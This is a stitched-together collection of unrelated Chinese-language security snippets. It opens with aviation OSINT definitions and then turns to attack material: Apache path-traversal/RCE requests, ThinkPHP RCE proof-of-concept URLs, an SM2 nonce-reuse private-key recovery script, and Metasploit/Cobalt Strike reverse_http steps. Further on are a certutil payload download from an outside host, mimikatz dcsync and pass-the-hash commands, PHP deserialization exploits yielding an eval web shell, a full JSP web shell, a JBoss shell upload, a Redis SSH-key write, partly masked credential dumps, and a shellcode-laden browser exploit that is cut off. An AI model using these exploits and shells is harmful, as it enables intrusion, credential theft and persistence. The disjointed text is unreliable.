呼号：呼号是飞机在飞行过程中使用的标识符。虽然私人飞机可能会使用其注册号作为呼号，但商业航班的呼号往往取决于航线。
注册编号：相当于汽车的车牌。每当一架飞机在某个管辖区注册时，它都会被分配一个注册编号。注册通常位于飞机尾部附近。飞机在哪个国家注册将部分决定其注册编号。
制造商序列号 (MSN)：MSN 是分配给工厂车间每架飞机的唯一编号。如果注册是您的汽车牌照的航空等价物，那么 MSN 就像汽车制造商分配给汽车的车辆识别号。与呼号和注册不同，飞机的 MSN 不能更改。
ADS-B：ADS-B 代表“自动相关监视——广播”。正是这项技术允许开源调查人员和爱好者在网站上跟踪航班。

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1Host: hostContent-Length: 2

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1Host: hostConnection: closeContent-Length: 13 echo;ifconfig

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: hostConnection: closeContent-Length: 13 echo;ifconfig

POC：
/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp_5.0.22/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp5.0.22/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp5.1.29/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1/thinkphp_5.1.29/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

环境：phpstorm+xdebugThinkphp_5.0.14_fullphpstorm+xdebug环境可自行百度搭建poc: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

public static function run(Request $request = null){        #初始化request对象        $request = is_null($request) ? Request::instance() : $request;
        try {            $config = self::initCommon();
            // 模块/控制器绑定            if (defined('BIND_MODULE')) {                BIND_MODULE && Route::bind(BIND_MODULE);            } elseif ($config['auto_bind_module']) {                // 入口自动绑定                $name = pathinfo($request->baseFile(), PATHINFO_FILENAME);                if ($name && 'index' != $name && is_dir(APP_PATH . $name)) {                    Route::bind($name);                }            }
            $request->filter($config['default_filter']);
            // 默认语言            Lang::range($config['default_lang']);            // 开启多语言机制 检测当前语言            $config['lang_switch_on'] && Lang::detect();            $request->langset(Lang::range());
            // 加载系统语言包            Lang::load([                THINK_PATH . 'lang' . DS . $request->langset() . EXT,                APP_PATH . 'lang' . DS . $request->langset() . EXT,            ]);
            // 监听 app_dispatch            Hook::listen('app_dispatch', self::$dispatch);            // 获取应用调度信息            $dispatch = self::$dispatch;
            // 未设置调度信息则进行 URL 路由检测            if (empty($dispatch)) {                $dispatch = self::routeCheck($request, $config);            }
            // 记录当前调度信息            $request->dispatch($dispatch);
            // 记录路由和请求信息            if (self::$debug) {                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');            }
            // 监听 app_begin            Hook::listen('app_begin', $dispatch);
            // 请求缓存检查            $request->cache(                $config['request_cache'],                $config['request_cache_expire'],                $config['request_cache_except']            );
            $data = self::exec($dispatch, $config);        } catch (HttpResponseException $exception) {            $data = $exception->getResponse();        }
        // 清空类的实例化        Loader::clearInstance();
        // 输出数据到客户端        if ($data instanceof Response) {            $response = $data;        } elseif (!is_null($data)) {            // 默认自动识别响应输出类型            $type = $request->isAjax() ?            Config::get('default_ajax_return') :            Config::get('default_return_type');
            $response = Response::create($data, $type);        } else {            $response = Response::create();        }
        // 监听 app_end        Hook::listen('app_end', $response);
        return $response;}

public static function routeCheck($request, array $config){        $path   = $request->path();        $depr   = $config['pathinfo_depr'];        $result = false;
        // 路由检测        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];        if ($check) {            // 开启路由            if (is_file(RUNTIME_PATH . 'route.php')) {                // 读取路由缓存                $rules = include RUNTIME_PATH . 'route.php';                is_array($rules) && Route::rules($rules);            } else {                $files = $config['route_config_file'];                foreach ($files as $file) {                    if (is_file(CONF_PATH . $file . CONF_EXT)) {                        // 导入路由配置                        $rules = include CONF_PATH . $file . CONF_EXT;                        is_array($rules) && Route::import($rules);                    }                }            }
            // 路由检测（根据路由定义返回不同的URL调度）            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
            if ($must && false === $result) {                // 路由无效                throw new RouteNotFoundException();            }        }
        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索        if (false === $result) {            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);        }
        return $result;}

protected static function exec($dispatch, $config){        switch ($dispatch['type']) {            case 'redirect': // 重定向跳转                $data = Response::create($dispatch['url'], 'redirect')                    ->code($dispatch['status']);                break;            case 'module': // 模块/控制器/操作                $data = self::module(                    $dispatch['module'],                    $config,                    isset($dispatch['convert']) ? $dispatch['convert'] : null                );                break;            case 'controller': // 执行控制器操作                $vars = array_merge(Request::instance()->param(), $dispatch['var']);                $data = Loader::action(                    $dispatch['controller'],                    $vars,                    $config['url_controller_layer'],                    $config['controller_suffix']                );                break;            case 'method': // 回调方法                $vars = array_merge(Request::instance()->param(), $dispatch['var']);                $data = self::invokeMethod($dispatch['method'], $vars);                break;            case 'function': // 闭包                $data = self::invokeFunction($dispatch['function']);                break;            case 'response': // Response 实例                $data = $dispatch['response'];                break;            default:                throw new \InvalidArgumentException('dispatch type not support');        }
        return $data;}

1. 开始对用户 1 进行身份鉴别2. 服务端获取用户 1 发送的公钥值 P1：04E83E542C594496D1F75A7C07841F2DE773DB59CA8A277CC77BAB2FD1BA90B8585F7CC3C9863D129D4DDFACD1B529A31CCB81463AF8A8BB5AB480A3F8BB7DA7373. 产生挑战的杂凑值 e1：875817FFC25231A88B68696273AEECE852A10CCDE93C19476482EBA4D48773224. 收到签名值(r1, s1)：1260185C3D7437E6A63F1E18FD810A314A5E27D67884A83F1283D72F1009F6990E9F423B578A8707C83C1A0A3982F52D0FF718C2B481966E4D839CD566EE72095. 验签成功！身份鉴别完成。6. 收到用户 1 发送的文件杂凑值 e2：8FB2B63B9CF9ED7842CC0E0A204B36A3ED5C45936B6148646A26915120F6C7D2和对应 签名值(r2, s2)：1ABAB698181BF3B65DA2C2C0AA1D53ECE519609BFAA9D75C18277CDB5C794B49EBB541CA42C5CCA5FA1324DDC32D3F352546FE4EECE8034E1D64A2848E2A93B97. 验签成功！文件与签名匹配。

e1=0x875817FFC25231A88B68696273AEECE852A10CCDE93C19476482EBA4D4877322r1=0x1260185C3D7437E6A63F1E18FD810A314A5E27D67884A83F1283D72F1009F699s1=0x0E9F423B578A8707C83C1A0A3982F52D0FF718C2B481966E4D839CD566EE7209e2=0x8FB2B63B9CF9ED7842CC0E0A204B36A3ED5C45936B6148646A26915120F6C7D2 r2=0x1ABAB698181BF3B65DA2C2C0AA1D53ECE519609BFAA9D75C18277CDB5C794B49 s2=0xEBB541CA42C5CCA5FA1324DDC32D3F352546FE4EECE8034E1D64A2848E2A93B9

e1=0x875817FFC25231A88B68696273AEECE852A10CCDE93C19476482EBA4D4877322r1=0x1260185C3D7437E6A63F1E18FD810A314A5E27D67884A83F1283D72F1009F699e2=0x8FB2B63B9CF9ED7842CC0E0A204B36A3ED5C45936B6148646A26915120F6C7D2 r2=0x1ABAB698181BF3B65DA2C2C0AA1D53ECE519609BFAA9D75C18277CDB5C794B49

 def ext_euclid(a, b):         if b == 0:                 return 1, 0, a         else:                 x, y, q = ext_euclid(b, a % b)                x, y = y, (x - (a // b) * y)                 return x, y, q

d=((r2-r1)*ext_euclid(r2-r1-(s1-s2),n)[0]-1) % n

n=0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123

e1=0x875817FFC25231A88B68696273AEECE852A10CCDE93C19476482EBA4D4877322r1=0x1260185C3D7437E6A63F1E18FD810A314A5E27D67884A83F1283D72F1009F699s1=0x0E9F423B578A8707C83C1A0A3982F52D0FF718C2B481966E4D839CD566EE7209e2=0x8FB2B63B9CF9ED7842CC0E0A204B36A3ED5C45936B6148646A26915120F6C7D2 r2=0x1ABAB698181BF3B65DA2C2C0AA1D53ECE519609BFAA9D75C18277CDB5C794B49 s2=0xEBB541CA42C5CCA5FA1324DDC32D3F352546FE4EECE8034E1D64A2848E2A93B9n=0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123def ext_euclid(a, b):         if b == 0:                 return 1, 0, a         else:                 x, y, q = ext_euclid(b, a % b)                x, y = y, (x - (a // b) * y)                 return x, y, q
d=((r2-r1)*ext_euclid(r2-r1-(s1-s2),n)[0]-1) % nprint(hex(d))

0x3b90f86f263049adbae06cbb1e2f8efef2142f2cc4979050a3d3109df7d83714

MSF：use exploit/multi/handlerset payload windows/meterpreter/reverse_http
CS：创建监听器windows/foreign/reverse_http执行监听器 spawn msf

run post/multi/recon/local_exploit_suggester

exploit/windows/local/bypassuac_sdclt

MSF:backgrounduse exploit/windows/local/payload_injectset payload windows/meterpreter/reverse_httpset session 3run
CS:windows/beacon_http/reverse_http

 proxychains python3 wmiexec.py -shell-type cmd administrator:password@10.226.0.108 -codec gbk

certutil.exe -urlcache -split -f http://inbug.org:80/download/main.exe

certutil -encode main.exe main.txt

certutil.exe -urlcache -split -f http://inbug.org:80/download/main.txt
certutil -decode main.txt main.exe

beacon> shell net group "Domain Controllers" /domain[*] Tasked beacon to run: net group "Domain Controllers" /domain[+] host called home, sent: 69 bytes[+] received output:The request will be processed at a domain controller for domain inbug.org.
Group name     Domain ControllersComment        All domain controllers in the domain
Members
-------------------------------------------------------------------------------xxADC01$   192.168.101.4    xxxxN024$ 192.168.0.20      xxxGN042$ 192.168.0.154               xxxGN043$ 192.168.0.19xxxGN052$   192.168.0.14             xxxGN053$    192.168.0.31            xxSERVER1$   10.226.0.150xxPSERVER116$  10.225.241.149          xxSERVER400$  192.168.105.5           xxSERVER401$  192.168.105.6        xxSERVER505$   10.231.1.15        xxSERVER506$    10.232.55.60         xxSERVER600$    10.227.69.108 xxSERVER813$    10.225.240.16         The command completed successfully.

mimikatz lsadump::dcsync /domain:psnet.com /all /csv

mimikatz lsadump::dcsync /domain:inbug.org /user:Administrator

proxychains crackmapexec smb 192.168.0.0/24 -u administrator -H 4a03985f63e4dxxxxxxx -d inbug.org -x "net user"

execute-assembly /Users/saulgoodman/Downloads/SharpHound.exe -c all

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.");    }}
$stu1=new Student('Alice',1);$stu2=new Student('Bob',2);$stu1->hello();$stu2->hello();echo(serialize($stu1));echo(serialize($stu2));

kali@kali:/tmp$ php student.php Hello,I'm Alice.Hello,I'm Bob.O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}O:7:"Student":3:{s:4:"name";s:3:"Bob";s:5:"stuid";i:2;s:3:"age";N;}

<?phpclass Student{    public $name;    public $stuid;    public $age;}
$stu1=new Student();$stu1->name='Alice';$stu1->stuid=1;$stu2=new Student();$stu2->name='Bob';$stu2->stuid=2;echo(serialize($stu1));echo("\n");echo(serialize($stu2));echo("\n");

kali@kali:/tmp$ php student_nofunc.php O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}O:7:"Student":3:{s:4:"name";s:3:"Bob";s:5:"stuid";i:2;s:3:"age";N;}

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.\n");    }
}
$stu=unserialize('O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}');$stu->hello();echo $stu->name;echo "\n";

kali@kali:/tmp$ php student_sleep.phpHello,I'm Alice.Alice

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.\n");    }    function __get($value){        echo "$value get error.\n";        return("unknow $value.\n");    }}
$stu=new Student('Alice',1);echo $stu->sex;

kali@kali:/tmp$ php magic.php sex get error.unknow sex.

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.\n");    }    function __get($value){        echo "$value get error\n";        return("unknow $value.\n");    }    function __toString(){        system($this->command);        return("\nok\n");    }}
$stu=unserialize($_REQUEST('un'));$stu->hello();

<?phpclass Student{    public $name;    public $stuid;    public $age;    function __construct($name,$stuid){        $this->name=$name;        $this->stuid=$stuid;    }     function hello(){        echo("Hello,I'm $this->name.\n");    }    function __get($value){        echo "$value get error\n";        return("unknow $value.\n");    }    function __toString(){        system($this->command);        return("\nok\n");    }}
$stu1=new Student('Alice',1);$stu1->command='ifconfig';$stu2=new Student($stu1,2);echo serialize($stu2);

kali@kali:/tmp$ php unser_exp.phpO:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}

http://127.0.0.1/unser_vul.php?un=O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 192.168.138.1  netmask 255.255.255.0  broadcast 192.168.138.255        inet6 fe80::c49:bff:2a44:7c3  prefixlen 64  scopeid 0xfd<compat,link,site,host>        ether 00:50:56:c0:00:01  (Ethernet)        RX packets 0  bytes 0 (0.0 B)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 0  bytes 0 (0.0 B)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 1500        inet 127.0.0.1  netmask 255.0.0.0        inet6 ::1  prefixlen 128  scopeid 0xfe<compat,link,site,host>        loop  (Local Loopback)        RX packets 0  bytes 0 (0.0 B)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 0  bytes 0 (0.0 B)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
Hello,I'mok.

<?phperror_reporting(0);
class Demo1{  private $a;  function test(){    echo $this->a;  }}
class Demo2{  private $cmd;  function a(){    eval($this->cmd);  }
  function __toString(){    $this->a();    return 'ok';  }}
$d = unserialize($_GET['s']);$d->test();

<?phpclass Demo1{  private $a;  function __construct($arg){    $this->a=$arg;  }  function test(){    echo $this->a;  }}
class Demo2{  private $cmd;  function __construct($arg){    $this->cmd=$arg;  }  function a(){    eval($this->cmd);  }
  function __toString(){    $this->a();    return 'ok';  }}
$t=new Demo2('eval($_REQUEST[inbug]);');$s=new Demo1($t);$d = serialize($s);echo(urlencode($d));

root@kali# php exp.phpO%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D

链接：/content/backup/nbc.php?s=O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D连接密码：inbug

msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f raw -o beacon.bin

    // If all good, launch the payload    if ( rvba != 0 ) {                XOR((char *) createthread, ct_len, ct_key, sizeof(ct_key));                pCreateThread = GetProcAddress(GetModuleHandle("kernel32.dll"), createthread);            thba = pCreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);                XOR((char *) waitforsingleobject, wfso_len, wfso_key, sizeof(wfso_key));            pWaitForSingleObject = GetProcAddress(GetModuleHandle("kernel32.dll"), waitforsingleobject);            pWaitForSingleObject(thba, -1);    }    return TRUE;    }

攻击者尝试攻击：x.x.x.x:9090/August/August.jsp，攻击代码为：a=F&z0=GB2312&z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2Fimages%2Flogo.gif攻击者尝试攻击：x.x.x.x:9090/August/August.jsp，攻击代码为：a=E&z0=GB2312&z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2Fimages%2Flogo.gif

a=A     //列出根目录a=B     //列出指定目录文件a=C     //读取文本文件a=D     //写入文本文件a=E     //删除文件或文件夹a=F     //下载文件a=G     //将16进制字符串写为文件a=H     //二进制文件复制a=I     //文件重命名a=J     //创建文件夹a=K     //修改时间戳a=L     //从指定链接下载文件a=M     //读取命令执行结果a=N     //连接数据库a=O     //创建数据库表a=P     //读取数据库列a=Q     //读取数据库数据

/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<%+if(request.getParameter("f")!=null)(new+java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());+%>&argType=boolean&arg4=True

import sys
if len(sys.argv)==2:    try:        f=open(sys.argv[1],'r')        hexString=f.read()        f.close()        b=bytes.fromhex(hexString)        nf=open('newfile','wb')        nf.write(b)        nf.close()    except Exception as e:        print(e)else:    print('need a path of text file!')

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!  String Pwd = "a";  String cs = "UTF-8";
  String EC(String s) throws Exception {    return new String(s.getBytes("ISO-8859-1"),cs);  }
  Connection GC(String s) throws Exception {    String[] x = s.trim().split("\r\n");    Class.forName(x[0].trim());    if(x[1].indexOf("jdbc:oracle")!=-1){      return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);    }else{      Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);      if (x.length > 4) {        c.setCatalog(x[4]);      }      return c;    }  }  //列出根目录  void AA(StringBuffer sb) throws Exception {    File r[] = File.listRoots();    for (int i = 0; i < r.length; i++) {      sb.append(r[i].toString().substring(0, 2));    }  }  //列出指定目录文件  void BB(String s, StringBuffer sb) throws Exception {    File oF = new File(s), l[] = oF.listFiles();    String sT, sQ, sF = "";    java.util.Date dt;    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");    for (int i = 0; i < l.length; i++) {      dt = new java.util.Date(l[i].lastModified());      sT = fm.format(dt);      sQ = l[i].canRead() ? "R" : "";      sQ += l[i].canWrite() ? " W" : "";      if (l[i].isDirectory()) {        sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");      } else {        sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";      }    }    sb.append(sF);  }  //删除文件或文件夹  void EE(String s) throws Exception {    File f = new File(s);    if (f.isDirectory()) {      File x[] = f.listFiles();      for (int k = 0; k < x.length; k++) {        if (!x[k].delete()) {          EE(x[k].getPath());        }      }    }    f.delete();  }  //下载文件  void FF(String s, HttpServletResponse r) throws Exception {    int n;    byte[] b = new byte[512];    r.reset();    ServletOutputStream os = r.getOutputStream();    BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));    os.write(("->" + "|").getBytes(), 0, 3);    while ((n = is.read(b, 0, 512)) != -1) {      os.write(b, 0, n);    }    os.write(("|" + "<-").getBytes(), 0, 3);    os.close();    is.close();  }  //将16进制字符串写为文件  void GG(String s, String d) throws Exception {    String h = "0123456789ABCDEF";    File f = new File(s);    f.createNewFile();    FileOutputStream os = new FileOutputStream(f);    for (int i = 0; i < d.length(); i += 2) {      os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));    }    os.close();  }  //二进制文件复制  void HH(String s, String d) throws Exception {    File sf = new File(s), df = new File(d);    if (sf.isDirectory()) {      if (!df.exists()) {        df.mkdir();      }      File z[] = sf.listFiles();      for (int j = 0; j < z.length; j++) {        HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());      }    } else {      FileInputStream is = new FileInputStream(sf);      FileOutputStream os = new FileOutputStream(df);      int n;      byte[] b = new byte[512];      while ((n = is.read(b, 0, 512)) != -1) {        os.write(b, 0, n);      }      is.close();      os.close();    }  }  //文件重命名  void II(String s, String d) throws Exception {    File sf = new File(s), df = new File(d);    sf.renameTo(df);  }  //创建文件夹  void JJ(String s) throws Exception {    File f = new File(s);    f.mkdir();  }  //修改时间戳  void KK(String s, String t) throws Exception {    File f = new File(s);    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");    java.util.Date dt = fm.parse(t);    f.setLastModified(dt.getTime());  }  //从指定链接下载文件  void LL(String s, String d) throws Exception {    URL u = new URL(s);    int n = 0;    FileOutputStream os = new FileOutputStream(d);    HttpURLConnection h = (HttpURLConnection) u.openConnection();    InputStream is = h.getInputStream();    byte[] b = new byte[512];    while ((n = is.read(b)) != -1) {      os.write(b, 0, n);    }    os.close();    is.close();    h.disconnect();  }  //读取命令执行结果  void MM(InputStream is, StringBuffer sb) throws Exception {    String l;    BufferedReader br = new BufferedReader(new InputStreamReader(is));    while ((l = br.readLine()) != null) {      sb.append(l + "\r\n");    }  }  //连接数据库  void NN(String s, StringBuffer sb) throws Exception {    Connection c = GC(s);    ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();    while (r.next()) {      sb.append(r.getString(1) + "\t");    }    r.close();    c.close();  }  //创建数据库表  void OO(String s, StringBuffer sb) throws Exception {    Connection c = GC(s);    String[] x = s.trim().split("\r\n");    ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});    while (r.next()) {      sb.append(r.getString("TABLE_NAME") + "\t");    }    r.close();    c.close();  }  //读取数据库列  void PP(String s, StringBuffer sb) throws Exception {    String[] x = s.trim().split("\r\n");    Connection c = GC(s);    Statement m = c.createStatement(1005, 1007);    ResultSet r = m.executeQuery("select * from " + x[x.length-1]);    ResultSetMetaData d = r.getMetaData();    for (int i = 1; i <= d.getColumnCount(); i++) {      sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");    }    r.close();    m.close();    c.close();  }  //读取数据库数据  void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {    Connection c = GC(s);    Statement m = c.createStatement(1005, 1008);    BufferedWriter bw = null;    try {      ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);      ResultSetMetaData d = r.getMetaData();      int n = d.getColumnCount();      for (int i = 1; i <= n; i++) {        sb.append(d.getColumnName(i) + "\t|\t");      }      sb.append("\r\n");      if(q.indexOf("--f:")!=-1){        File file = new File(p);        if(q.indexOf("-to:")==-1){          file.mkdir();        }        bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));      }      while (r.next()) {        for (int i = 1; i <= n; i++) {          if(q.indexOf("--f:")!=-1){            bw.write(r.getObject(i)+""+"\t");            bw.flush();          }else{            sb.append(r.getObject(i)+"" + "\t|\t");          }        }        if(bw!=null){bw.newLine();}        sb.append("\r\n");      }      r.close();      if(bw!=null){bw.close();}    } catch (Exception e) {      sb.append("Result\t|\t\r\n");      try {        m.executeUpdate(q);        sb.append("Execute Successfully!\t|\t\r\n");      } catch (Exception ee) {        sb.append(ee.toString() + "\t|\t\r\n");      }    }    m.close();    c.close();  }%><%  cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;  response.setContentType("text/html");  response.setCharacterEncoding(cs);  StringBuffer sb = new StringBuffer("");  try {    String Z = EC(request.getParameter(Pwd) + "");    String z1 = EC(request.getParameter("z1") + "");    String z2 = EC(request.getParameter("z2") + "");    sb.append("->" + "|");    String s = request.getSession().getServletContext().getRealPath("/");    if (Z.equals("A")) {      sb.append(s + "\t");      if (!s.substring(0, 1).equals("/")) {        AA(sb);      }    } else if (Z.equals("B")) {      BB(z1, sb);    } else if (Z.equals("C")) {//读取文本文件      String l = "";      BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));      while ((l = br.readLine()) != null) {        sb.append(l + "\r\n");      }      br.close();    } else if (Z.equals("D")) {//写入文本文件      BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));      bw.write(z2);      bw.close();      sb.append("1");    } else if (Z.equals("E")) {      EE(z1);      sb.append("1");    } else if (Z.equals("F")) {      FF(z1, response);    } else if (Z.equals("G")) {      GG(z1, z2);      sb.append("1");    } else if (Z.equals("H")) {      HH(z1, z2);      sb.append("1");    } else if (Z.equals("I")) {      II(z1, z2);      sb.append("1");    } else if (Z.equals("J")) {      JJ(z1);      sb.append("1");    } else if (Z.equals("K")) {      KK(z1, z2);      sb.append("1");    } else if (Z.equals("L")) {      LL(z1, z2);      sb.append("1");    } else if (Z.equals("M")) {      String[] c = { z1.substring(2), z1.substring(0, 2), z2 };      Process p = Runtime.getRuntime().exec(c);      MM(p.getInputStream(), sb);      MM(p.getErrorStream(), sb);    } else if (Z.equals("N")) {      NN(z1, sb);    } else if (Z.equals("O")) {      OO(z1, sb);    } else if (Z.equals("P")) {      PP(z1, sb);    } else if (Z.equals("Q")) {      QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");    }  } catch (Exception e) {    sb.append("ERROR" + ":// " + e.toString());  }  sb.append("|" + "<-");  out.print(sb.toString());%>

WIN-xxxx6V5B45T\Administrator xxxx@1234WIN-xxxx6V5B45T\xxxx xxxx828302eee5d159a17ce186b0dbf1WIN-xxxx6V5B45T\Administrator xxxx828302eee5d159a17ce186b0dbf1WIN-xxxx6V5B45T\xxxxis xxxx@1234WIN-xxxx6V5B45T\Administrator xxxx8c1e2a750d98cff13ef32e0a1ce0

Redis:x.xx.10.43:6379 Redis:x.xx.10.102:6379 Redis:x.xx.10.96:6379 

set x "\n\nssh-rsa 这里是你的公钥\n\n"config set dir /root/.ssh/config set dbfilename authorized_keyssave

run post/windows/manage/enable_rdp

WIN-xxxxF42860A\Administrator xxxx@WSXWIN-xxxxF42860A\Administrator xxxxfe596a5db81874498a24

<script>   function gc() {       for (var i = 0; i < 0x80000; ++i) {           var a = new ArrayBuffer();      }  }   let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,       0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,       0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,       0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,       0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,       0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,       0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,       0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,       0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,       0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,       0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,       0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,       0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 